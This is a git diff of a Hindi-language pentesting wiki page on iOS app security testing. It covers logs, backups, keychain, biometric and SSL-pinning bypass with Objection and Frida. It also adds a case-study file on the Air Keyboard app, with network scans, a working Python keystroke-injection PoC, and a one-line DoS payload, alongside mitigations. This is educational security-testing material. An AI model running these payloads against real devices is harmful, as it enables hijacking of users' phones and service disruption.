**ऐप के साथ पूरी तरह से इंटरैक्ट करें**, इसके सभी कार्यात्मकताओं और इनपुट्स का अन्वेषण करें ताकि यह सुनिश्चित हो सके कि कोई संवेदनशील जानकारी अनजाने में लॉग नहीं की जा रही है। -जब ऐप के स्रोत कोड की समीक्षा करते हैं संभावित लीक के लिए, तो **पूर्वनिर्धारित** और **कस्टम लॉगिंग स्टेटमेंट्स** की तलाश करें, जैसे कि `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` के लिए अंतर्निहित कार्यों के लिए, और किसी भी उल्लेख के लिए `Logging` या `Logfile` कस्टम कार्यान्वयन के लिए। +जब संभावित लीक के लिए ऐप के स्रोत कोड की समीक्षा करें, तो **पूर्वनिर्धारित** और **कस्टम लॉगिंग स्टेटमेंट्स** के लिए `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` जैसे कीवर्ड्स का उपयोग करें, और कस्टम कार्यान्वयन के लिए `Logging` या `Logfile` का कोई उल्लेख देखें। ### **Monitoring System Logs** -ऐप्स विभिन्न प्रकार की जानकारी लॉग करते हैं जो संवेदनशील हो सकती हैं। इन लॉग्स की निगरानी करने के लिए, उपकरण और कमांड जैसे: +ऐप्स विभिन्न प्रकार की जानकारी लॉग करते हैं जो संवेदनशील हो सकती है। इन लॉग्स की निगरानी करने के लिए, उपकरण और कमांड जैसे: ```bash idevice_id --list # To find the device ID idevicesyslog -u (| grep ) # To capture the device logs @@ -630,7 +630,7 @@ idevicesyslog -u (| grep ) # To capture the device logs 5. उस समस्या को ट्रिगर करें जिसे आप जांच रहे हैं। 6. नए विंडो में लॉग देखने के लिए **Open Console** बटन का उपयोग करें। -अधिक उन्नत लॉगिंग के लिए, डिवाइस शेल से कनेक्ट करना और **socat** का उपयोग करना वास्तविक समय में लॉग निगरानी प्रदान कर सकता है: +अधिक उन्नत लॉगिंग के लिए, डिवाइस शेल से कनेक्ट करना और **socat** का उपयोग करना वास्तविक समय में लॉग मॉनिटरिंग प्रदान कर सकता है: ```bash iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ``` @@ -638,7 +638,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ## बैकअप -**ऑटो-बैकअप सुविधाएँ** iOS में एकीकृत हैं, जो iTunes (macOS Catalina तक), Finder (macOS Catalina से आगे) या iCloud के माध्यम से डिवाइस डेटा की प्रतियों के निर्माण को सुविधाजनक बनाती हैं। ये बैकअप लगभग सभी डिवाइस डेटा को शामिल करते हैं, जिसमें Apple Pay विवरण और Touch ID कॉन्फ़िगरेशन जैसे अत्यधिक संवेदनशील तत्व शामिल नहीं हैं। +**ऑटो-बैकअप सुविधाएँ** iOS में एकीकृत हैं, जो iTunes (macOS Catalina तक), Finder (macOS Catalina से आगे) या iCloud के माध्यम से डिवाइस डेटा की प्रतियों के निर्माण को सरल बनाती हैं। ये बैकअप लगभग सभी डिवाइस डेटा को शामिल करते हैं, अत्यधिक संवेदनशील तत्वों जैसे Apple Pay विवरण और Touch ID कॉन्फ़िगरेशन को छोड़कर। ### सुरक्षा जोखिम @@ -650,7 +650,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ### कमजोरियों के लिए परीक्षण -किसी ऐप की बैकअप सुरक्षा का आकलन करने के लिए, पहले **एक बैकअप बनाएं** जो Finder का उपयोग करके किया गया हो, फिर [Apple के आधिकारिक दस्तावेज़](https://support.apple.com/en-us/HT204215) से मार्गदर्शन प्राप्त करके इसे खोजें। संवेदनशील डेटा या कॉन्फ़िगरेशन का विश्लेषण करें जो ऐप के व्यवहार को प्रभावित करने के लिए बदला जा सकता है। +किसी ऐप की बैकअप सुरक्षा का आकलन करने के लिए, पहले **एक बैकअप बनाएं** Finder का उपयोग करके, फिर [Apple के आधिकारिक दस्तावेज़](https://support.apple.com/en-us/HT204215) से मार्गदर्शन प्राप्त करके इसे खोजें। संवेदनशील डेटा या कॉन्फ़िगरेशन का विश्लेषण करें जो ऐप के व्यवहार को प्रभावित करने के लिए बदला जा सकता है। संवेदनशील जानकारी को कमांड-लाइन उपकरणों या [iMazing](https://imazing.com) जैसे अनुप्रयोगों का उपयोग करके खोजा जा सकता है। एन्क्रिप्टेड बैकअप के लिए, एन्क्रिप्शन की उपस्थिति की पुष्टि "Manifest.plist" फ़ाइल में "IsEncrypted" कुंजी की जांच करके की जा सकती है जो बैकअप की जड़ में होती है। ```xml @@ -677,7 +677,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock ## **मेमोरी डंप को पुनः प्राप्त करना और विश्लेषण करना** -जेलब्रोकन और नॉन-जेलब्रोकन दोनों उपकरणों के लिए, [objection](https://github.com/sensepost/objection) और [Fridump](https://github.com/Nightbringer21/fridump) जैसे टूल एक ऐप की प्रक्रिया मेमोरी का डंप लेने की अनुमति देते हैं। एक बार डंप होने के बाद, इस डेटा का विश्लेषण करने के लिए विभिन्न टूल की आवश्यकता होती है, जो इस बात पर निर्भर करता है कि आप किस प्रकार की जानकारी की खोज कर रहे हैं। +जेलब्रोकन और नॉन-जेलब्रोकन दोनों उपकरणों के लिए, [objection](https://github.com/sensepost/objection) और [Fridump](https://github.com/Nightbringer21/fridump) जैसे टूल एक ऐप की प्रक्रिया की मेमोरी को डंप करने की अनुमति देते हैं। एक बार डंप होने के बाद, इस डेटा का विश्लेषण करने के लिए विभिन्न टूल की आवश्यकता होती है, जो इस बात पर निर्भर करता है कि आप किस प्रकार की जानकारी की खोज कर रहे हैं। मेमोरी डंप से स्ट्रिंग्स निकालने के लिए, `strings` या `rabin2 -zz` जैसे कमांड का उपयोग किया जा सकता है: ```bash @@ -708,7 +708,7 @@ $ r2 frida://usb// ### Use of Insecure and/or Deprecated Algorithms -डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, हैश ब्रूट-फोर्स **resistant** होना चाहिए और इसमें salt होना चाहिए। +डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, सॉल्ट के साथ ब्रूट-फोर्स **resistant** हैश का उपयोग किया जाना चाहिए। ### Check @@ -722,9 +722,9 @@ For **more information** about iOS cryptographic APIs and libraries access [http ## Local Authentication -**स्थानीय प्रमाणीकरण** एक महत्वपूर्ण भूमिका निभाता है, विशेष रूप से जब यह दूरस्थ एंडपॉइंट पर क्रिप्टोग्राफिक विधियों के माध्यम से पहुंच की सुरक्षा की बात आती है। यहाँ का सार यह है कि उचित कार्यान्वयन के बिना, स्थानीय प्रमाणीकरण तंत्र को दरकिनार किया जा सकता है। +**स्थानीय प्रमाणीकरण** एक महत्वपूर्ण भूमिका निभाता है, विशेष रूप से जब यह दूरस्थ एंडपॉइंट पर क्रिप्टोग्राफिक विधियों के माध्यम से पहुंच की सुरक्षा से संबंधित होता है। यहाँ का सार यह है कि उचित कार्यान्वयन के बिना, स्थानीय प्रमाणीकरण तंत्र को दरकिनार किया जा सकता है। -Apple का [**स्थानीय प्रमाणीकरण ढांचा**](https://developer.apple.com/documentation/localauthentication) और [**कीचेन**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) उपयोगकर्ता प्रमाणीकरण संवादों को सुविधाजनक बनाने और क्रमशः गुप्त डेटा को सुरक्षित रूप से संभालने के लिए मजबूत APIs प्रदान करते हैं। Secure Enclave Touch ID के लिए फिंगरप्रिंट ID को सुरक्षित करता है, जबकि Face ID चेहरे की पहचान पर निर्भर करता है बिना जैविक डेटा से समझौता किए। +Apple का [**स्थानीय प्रमाणीकरण ढांचा**](https://developer.apple.com/documentation/localauthentication) और [**कीचेन**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) उपयोगकर्ता प्रमाणीकरण संवादों को सुविधाजनक बनाने और सुरक्षित रूप से गुप्त डेटा को संभालने के लिए मजबूत APIs प्रदान करते हैं। Secure Enclave Touch ID के लिए फिंगरप्रिंट ID को सुरक्षित करता है, जबकि Face ID चेहरे की पहचान पर निर्भर करता है बिना जैविक डेटा से समझौता किए। Touch ID/Face ID को एकीकृत करने के लिए, डेवलपर्स के पास दो API विकल्प हैं: @@ -747,9 +747,9 @@ Touch ID/Face ID को एकीकृत करने के लिए, डे iOS ऐप्स में **स्थानीय प्रमाणीकरण** को लागू करने में **कीचेन APIs** का उपयोग करना शामिल है ताकि प्रमाणीकरण टोकन जैसे गुप्त डेटा को सुरक्षित रूप से संग्रहीत किया जा सके। यह प्रक्रिया सुनिश्चित करती है कि डेटा केवल उपयोगकर्ता द्वारा, उनके डिवाइस पासकोड या जैविक प्रमाणीकरण जैसे Touch ID का उपयोग करके ही एक्सेस किया जा सके। -कीचेन `SecAccessControl` विशेषता के साथ आइटम सेट करने की क्षमता प्रदान करता है, जो उपयोगकर्ता के सफल प्रमाणीकरण तक आइटम तक पहुंच को प्रतिबंधित करता है Touch ID या डिवाइस पासकोड के माध्यम से। यह सुविधा सुरक्षा बढ़ाने के लिए महत्वपूर्ण है। +कीचेन `SecAccessControl` विशेषता के साथ आइटम सेट करने की क्षमता प्रदान करता है, जो उपयोगकर्ता द्वारा Touch ID या डिवाइस पासकोड के माध्यम से सफलतापूर्वक प्रमाणीकरण होने तक आइटम तक पहुंच को प्रतिबंधित करता है। यह सुविधा सुरक्षा बढ़ाने के लिए महत्वपूर्ण है। -नीचे Swift और Objective-C में कोड उदाहरण दिए गए हैं जो दिखाते हैं कि कीचेन में एक स्ट्रिंग को कैसे सहेजें और पुनः प्राप्त करें, इन सुरक्षा सुविधाओं का लाभ उठाते हुए। उदाहरण विशेष रूप से दिखाते हैं कि कैसे एक्सेस नियंत्रण सेटअप किया जाए ताकि Touch ID प्रमाणीकरण की आवश्यकता हो और सुनिश्चित करें कि डेटा केवल उसी डिवाइस पर उपलब्ध हो जिस पर इसे सेट किया गया था, इस शर्त के तहत कि एक डिवाइस पासकोड कॉन्फ़िगर किया गया है। +नीचे Swift और Objective-C में कोड उदाहरण दिए गए हैं जो दिखाते हैं कि कीचेन में एक स्ट्रिंग को कैसे सहेजें और पुनः प्राप्त करें, इन सुरक्षा सुविधाओं का लाभ उठाते हुए। उदाहरण विशेष रूप से यह दिखाते हैं कि कैसे एक्सेस नियंत्रण सेटअप किया जाए ताकि Touch ID प्रमाणीकरण की आवश्यकता हो और सुनिश्चित करें कि डेटा केवल उसी डिवाइस पर उपलब्ध हो जिस पर इसे सेट किया गया था, इस शर्त के तहत कि एक डिवाइस पासकोड कॉन्फ़िगर किया गया है। {{#tabs}} {{#tab name="Swift"}} @@ -822,7 +822,7 @@ if (status == noErr) { {{#endtab}} {{#endtabs}} -अब हम कीचेन से सहेजे गए आइटम को अनुरोध कर सकते हैं। कीचेन सेवाएँ उपयोगकर्ता को प्रमाणीकरण संवाद प्रस्तुत करेंगी और यह निर्भर करेगा कि उपयुक्त फिंगरप्रिंट प्रदान किया गया था या नहीं, डेटा या nil लौटाएंगी। +अब हम कीचेन से सहेजे गए आइटम को अनुरोध कर सकते हैं। कीचेन सेवाएँ उपयोगकर्ता को प्रमाणीकरण संवाद प्रस्तुत करेंगी और यह निर्भर करेगा कि उपयुक्त फिंगरप्रिंट प्रदान किया गया था या नहीं, डेटा या निल लौटाएंगी। {{#tabs}} {{#tab name="Swift"}} @@ -902,7 +902,7 @@ $ otool -L .app/ (agent) [3mhtws9x47q] Marking OS response as True instead (agent) [3mhtws9x47q] Biometrics bypass hook complete ``` -यह कमांड एक अनुक्रम को सक्रिय करता है जहाँ Objection एक कार्य पंजीकृत करता है जो प्रभावी रूप से `evaluatePolicy` जांच के परिणाम को `True` में बदल देता है। +यह कमांड एक अनुक्रम शुरू करता है जहाँ Objection एक कार्य पंजीकृत करता है जो प्रभावी रूप से `evaluatePolicy` जांच के परिणाम को `True` में बदल देता है। #### Frida @@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md ## नेटवर्क संचार -यह महत्वपूर्ण है कि यह जांचें कि कोई संचार **बिना एन्क्रिप्शन** के नहीं हो रहा है और यह भी कि एप्लिकेशन सर्वर के TLS प्रमाणपत्र को सही तरीके से **मान्य कर रहा है**।\ +यह सुनिश्चित करना महत्वपूर्ण है कि कोई संचार **बिना एन्क्रिप्शन** के नहीं हो रहा है और यह भी कि एप्लिकेशन सर्वर के TLS प्रमाणपत्र को सही तरीके से **मान्य कर रहा है**।\ इन प्रकार के मुद्दों की जांच करने के लिए आप **Burp** जैसे प्रॉक्सी का उपयोग कर सकते हैं: {{#ref}} @@ -1022,25 +1022,25 @@ TLS प्रमाणपत्र को मान्य करने में ### प्रमाणपत्र पिनिंग -यदि एक एप्लिकेशन सही तरीके से SSL पिनिंग का उपयोग कर रहा है, तो एप्लिकेशन केवल तभी काम करेगा जब प्रमाणपत्र वही हो जो अपेक्षित हो। जब आप एक एप्लिकेशन का परीक्षण कर रहे हैं **तो यह एक समस्या हो सकती है क्योंकि Burp अपना प्रमाणपत्र प्रदान करेगा।**\ -इस सुरक्षा को बायपास करने के लिए, एक जेलब्रोकन डिवाइस के अंदर, आप [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) एप्लिकेशन इंस्टॉल कर सकते हैं या [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) इंस्टॉल कर सकते हैं। +यदि एक एप्लिकेशन सही तरीके से SSL पिनिंग का उपयोग कर रहा है, तो एप्लिकेशन केवल तभी काम करेगा जब प्रमाणपत्र वही हो जो अपेक्षित हो। जब एक एप्लिकेशन का परीक्षण करते समय **यह एक समस्या हो सकती है क्योंकि Burp अपना प्रमाणपत्र प्रदान करेगा।**\ +इस सुरक्षा को बायपास करने के लिए, आप एक जेलब्रोकन डिवाइस के अंदर [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) स्थापित कर सकते हैं या [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) स्थापित कर सकते हैं। आप **objection's** `ios sslpinning disable` का भी उपयोग कर सकते हैं। ## विविध - **`/System/Library`** में आप फोन में सिस्टम एप्लिकेशनों द्वारा उपयोग किए जाने वाले फ्रेमवर्क पा सकते हैं। -- App Store से उपयोगकर्ता द्वारा इंस्टॉल की गई एप्लिकेशन **`/User/Applications`** के अंदर स्थित हैं। -- और **`/User/Library`** में उपयोगकर्ता स्तर की एप्लिकेशनों द्वारा सहेजे गए डेटा होते हैं। +- App Store से उपयोगकर्ता द्वारा स्थापित एप्लिकेशन **`/User/Applications`** के अंदर स्थित होते हैं। +- और **`/User/Library`** में उपयोगकर्ता स्तर के एप्लिकेशनों द्वारा सहेजे गए डेटा होते हैं। - आप **`/User/Library/Notes/notes.sqlite`** तक पहुँच सकते हैं ताकि एप्लिकेशन के अंदर सहेजे गए नोट्स को पढ़ सकें। -- एक इंस्टॉल की गई एप्लिकेशन के फ़ोल्डर (**`/User/Applications//`**) के अंदर आप कुछ दिलचस्प फ़ाइलें पा सकते हैं: +- एक स्थापित एप्लिकेशन के फ़ोल्डर के अंदर (**`/User/Applications//`**) आप कुछ दिलचस्प फ़ाइलें पा सकते हैं: - **`iTunesArtwork`**: ऐप द्वारा उपयोग किया जाने वाला आइकन - **`iTunesMetadata.plist`**: ऐप की जानकारी जो App Store में उपयोग की जाती है - **`/Library/*`**: प्राथमिकताएँ और कैश शामिल हैं। **`/Library/Cache/Snapshots/*`** में आप एप्लिकेशन को बैकग्राउंड में भेजने से पहले किए गए स्नैपशॉट को पा सकते हैं। ### हॉट पैचिंग/अनिवार्य अपडेटिंग -डेवलपर्स अपने ऐप के सभी इंस्टॉलेशन को तुरंत **पैच कर सकते हैं** बिना एप्लिकेशन को App Store में फिर से सबमिट किए और इसके स्वीकृत होने की प्रतीक्षा किए।\ +डेवलपर्स **अपने ऐप के सभी इंस्टॉलेशन को तुरंत पैच कर सकते हैं** बिना एप्लिकेशन को App Store में फिर से सबमिट किए और इसके स्वीकृत होने की प्रतीक्षा किए।\ इसके लिए आमतौर पर [**JSPatch**](https://github.com/bang590/JSPatch)** का उपयोग किया जाता है।** लेकिन अन्य विकल्प भी हैं जैसे [Siren](https://github.com/ArtSabintsev/Siren) और [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)।\ **यह एक खतरनाक तंत्र है जिसे दुर्भावनापूर्ण तृतीय पक्ष SDKs द्वारा दुरुपयोग किया जा सकता है, इसलिए यह अनुशंसा की जाती है कि स्वचालित अपडेटिंग के लिए उपयोग की जाने वाली विधि (यदि कोई हो) की जांच करें और इसका परीक्षण करें।** आप इस उद्देश्य के लिए ऐप का एक पिछला संस्करण डाउनलोड करने का प्रयास कर सकते हैं। @@ -1048,14 +1048,20 @@ TLS प्रमाणपत्र को मान्य करने में **3rd पार्टी SDKs** के साथ एक महत्वपूर्ण चुनौती उनके कार्यात्मकताओं पर **सूक्ष्म नियंत्रण की कमी** है। डेवलपर्स के पास एक विकल्प होता है: या तो SDK को एकीकृत करें और इसकी सभी सुविधाओं को स्वीकार करें, जिसमें संभावित सुरक्षा कमजोरियाँ और गोपनीयता संबंधी चिंताएँ शामिल हैं, या इसके लाभों को पूरी तरह से छोड़ दें। अक्सर, डेवलपर्स इन SDKs के भीतर कमजोरियों को स्वयं पैच करने में असमर्थ होते हैं। इसके अलावा, जैसे-जैसे SDKs समुदाय में विश्वास प्राप्त करते हैं, कुछ में मैलवेयर शामिल हो सकता है। -तीसरे पक्ष के SDKs द्वारा प्रदान की जाने वाली सेवाओं में उपयोगकर्ता व्यवहार ट्रैकिंग, विज्ञापन प्रदर्शन, या उपयोगकर्ता अनुभव में सुधार शामिल हो सकते हैं। हालाँकि, यह एक जोखिम प्रस्तुत करता है क्योंकि डेवलपर्स को इन लाइब्रेरी द्वारा निष्पादित कोड के बारे में पूरी जानकारी नहीं हो सकती है, जिससे संभावित गोपनीयता और सुरक्षा जोखिम हो सकते हैं। यह महत्वपूर्ण है कि तीसरे पक्ष की सेवाओं के साथ साझा की गई जानकारी को आवश्यकतानुसार सीमित किया जाए और यह सुनिश्चित किया जाए कि कोई संवेदनशील डेटा उजागर न हो। +तीसरे पक्ष के SDKs द्वारा प्रदान की जाने वाली सेवाओं में उपयोगकर्ता व्यवहार ट्रैकिंग, विज्ञापन प्रदर्शन, या उपयोगकर्ता अनुभव में सुधार शामिल हो सकते हैं। हालाँकि, यह एक जोखिम प्रस्तुत करता है क्योंकि डेवलपर्स को इन पुस्तकालयों द्वारा निष्पादित कोड के बारे में पूरी जानकारी नहीं हो सकती है, जिससे संभावित गोपनीयता और सुरक्षा जोखिम हो सकते हैं। यह महत्वपूर्ण है कि तीसरे पक्ष की सेवाओं के साथ साझा की गई जानकारी को आवश्यकतानुसार सीमित किया जाए और यह सुनिश्चित किया जाए कि कोई संवेदनशील डेटा उजागर न हो। तीसरे पक्ष की सेवाओं का कार्यान्वयन आमतौर पर दो रूपों में आता है: एक स्वतंत्र पुस्तकालय या एक पूर्ण SDK। उपयोगकर्ता की गोपनीयता की रक्षा के लिए, इन सेवाओं के साथ साझा किए गए किसी भी डेटा को **गुमनाम** किया जाना चाहिए ताकि व्यक्तिगत पहचान योग्य जानकारी (PII) का खुलासा न हो। -एक एप्लिकेशन द्वारा उपयोग की जाने वाली लाइब्रेरी की पहचान करने के लिए, **`otool`** कमांड का उपयोग किया जा सकता है। इस उपकरण को एप्लिकेशन और इसके द्वारा उपयोग की जाने वाली प्रत्येक साझा लाइब्रेरी के खिलाफ चलाया जाना चाहिए ताकि अतिरिक्त लाइब्रेरी का पता लगाया जा सके। +एक एप्लिकेशन द्वारा उपयोग की जाने वाली पुस्तकालयों की पहचान करने के लिए, **`otool`** कमांड का उपयोग किया जा सकता है। इस उपकरण को एप्लिकेशन और इसके द्वारा उपयोग की जाने वाली प्रत्येक साझा पुस्तकालय के खिलाफ चलाया जाना चाहिए ताकि अतिरिक्त पुस्तकालयों का पता लगाया जा सके। ```bash otool -L ``` +## दिलचस्प कमजोरियाँ और केस स्टडीज़ + +{{#ref}} +air-keyboard-remote-input-injection.md +{{#endref}} + ## **संदर्भ और अधिक संसाधन** - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) @@ -1074,7 +1080,7 @@ otool -L - [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064) - [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054) -- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS मुफ्त पाठ्यक्रम([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) +- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS मुफ्त कोर्स([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) - [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) - [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) - [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) @@ -1084,5 +1090,4 @@ otool -L - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md new file mode 100644 index 000000000..73e3714c3 --- /dev/null +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -0,0 +1,92 @@ +# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) + +{{#include ../../banners/hacktricks-training.md}} + +## TL;DR + +iOS संस्करण का वाणिज्यिक "Air Keyboard" एप्लिकेशन (App Store ID 6463187929) **पोर्ट 8888 पर एक स्पष्ट-टेक्स्ट TCP सेवा** खोलता है जो **कोई प्रमाणीकरण** किए बिना कीस्ट्रोक फ़्रेम स्वीकार करता है। +एक ही Wi-Fi नेटवर्क पर कोई भी डिवाइस उस पोर्ट से कनेक्ट कर सकता है और पीड़ित के फोन में मनचाहा कीबोर्ड इनपुट इंजेक्ट कर सकता है, जिससे **पूर्ण दूरस्थ इंटरैक्शन हाइजैकिंग** प्राप्त होती है। + +एक साथी Android बिल्ड **पोर्ट 55535** पर सुनता है। यह एक कमजोर AES-ECB हैंडशेक करता है, लेकिन तैयार किया गया कचरा **OpenSSL डिक्रिप्शन रूटीन में एक अनहैंडल्ड अपवाद** का कारण बनता है, जिससे बैकग्राउंड सेवा क्रैश हो जाती है (**DoS**). + +## 1. सेवा खोज + +स्थानीय नेटवर्क को स्कैन करें और ऐप्स द्वारा उपयोग किए जाने वाले दो निश्चित पोर्ट की तलाश करें: +```bash +# iOS (input-injection) +nmap -p 8888 --open 192.168.1.0/24 + +# Android (weakly-authenticated service) +nmap -p 55535 --open 192.168.1.0/24 +``` +Android हैंडसेट पर आप स्थानीय रूप से जिम्मेदार पैकेज की पहचान कर सकते हैं: +```bash +adb shell netstat -tulpn | grep 55535 # no root required on emulator + +# rooted device / Termux +netstat -tulpn | grep LISTEN +ls -l /proc//cmdline # map PID → package name +``` +## 2. फ्रेम प्रारूप (iOS) + +बाइनरी `handleInputFrame()` रूटीन के अंदर निम्नलिखित पार्सिंग लॉजिक को प्रकट करती है: +``` +[length (2 bytes little-endian)] +[device_id (1 byte)] +[payload ASCII keystrokes] +``` +घोषित लंबाई में `device_id` बाइट शामिल है **लेकिन** दो-बाइट हेडर स्वयं शामिल नहीं है। + +## 3. Exploitation PoC +```python +#!/usr/bin/env python3 +"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +import socket, sys + +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user + +frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) +frame += b"\x01" # device_id = 1 (hard-coded) +frame += keystrokes + +with socket.create_connection((target_ip, 8888)) as s: +s.sendall(frame) +print("Injected", keystrokes) +``` +कोई भी प्रिंटेबल ASCII (जिसमें `\n`, `\r`, विशेष कुंजी, आदि शामिल हैं) भेजा जा सकता है, जिससे हमलावर को भौतिक उपयोगकर्ता इनपुट के समान शक्ति मिलती है: ऐप्स लॉन्च करना, IM भेजना, फ़िशिंग URL पर जाना, आदि। + +## 4. Android Companion – Denial-of-Service + +Android पोर्ट (55535) एक 4-चरित्र पासवर्ड की अपेक्षा करता है जो **hard-coded AES-128-ECB key** के साथ एन्क्रिप्ट किया गया है, इसके बाद एक यादृच्छिक nonce होता है। पार्सिंग त्रुटियाँ `AES_decrypt()` में उठती हैं और पकड़ी नहीं जातीं, जिससे लिस्नर थ्रेड समाप्त हो जाता है। इसलिए, एक ही गलत पैकेट वैध उपयोगकर्ताओं को डिस्कनेक्टेड रखने के लिए पर्याप्त है जब तक कि प्रक्रिया को फिर से लॉन्च नहीं किया जाता। +```python +import socket +socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS +``` +## 5. मूल कारण + +1. **आगामी फ़्रेमों पर कोई मूल / अखंडता जांच** (iOS)। +2. **क्रिप्टोग्राफिक दुरुपयोग** (स्थिर कुंजी, ECB, लंबाई सत्यापन की कमी) और **अपवाद प्रबंधन की कमी** (Android)। + +## 6. शमन और हार्डनिंग विचार + +* कभी भी मोबाइल हैंडसेट पर बिना प्रमाणीकरण सेवाएँ न दिखाएँ। +* ऑनबोर्डिंग के दौरान प्रति-डिवाइस रहस्यों को निकालें और इनपुट प्रोसेसिंग से पहले उन्हें सत्यापित करें। +* श्रोता को `127.0.0.1` से बाइंड करें और दूरस्थ नियंत्रण के लिए आपसी प्रमाणीकरण, एन्क्रिप्टेड परिवहन का उपयोग करें (जैसे, TLS, Noise)। +* मोबाइल सुरक्षा समीक्षाओं के दौरान अप्रत्याशित खुले पोर्ट का पता लगाएँ (`netstat`, `lsof`, `frida-trace` पर `socket()` आदि)। +* एक अंतिम उपयोगकर्ता के रूप में: Air Keyboard को अनइंस्टॉल करें या इसका उपयोग केवल विश्वसनीय, अलग Wi-Fi नेटवर्क पर करें। + +## पहचान चीट-शीट (Pentesters) +```bash +# Quick one-liner to locate vulnerable devices in a /24 +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' + +# Inspect running sockets on a connected Android target +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +``` +## संदर्भ + +- [एयर कीबोर्ड iOS ऐप में रिमोट इनपुट इंजेक्शन कमजोरियों का अभी तक पैच नहीं हुआ](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) +- [CXSecurity सलाह WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) + +{{#include ../../banners/hacktricks-training.md}}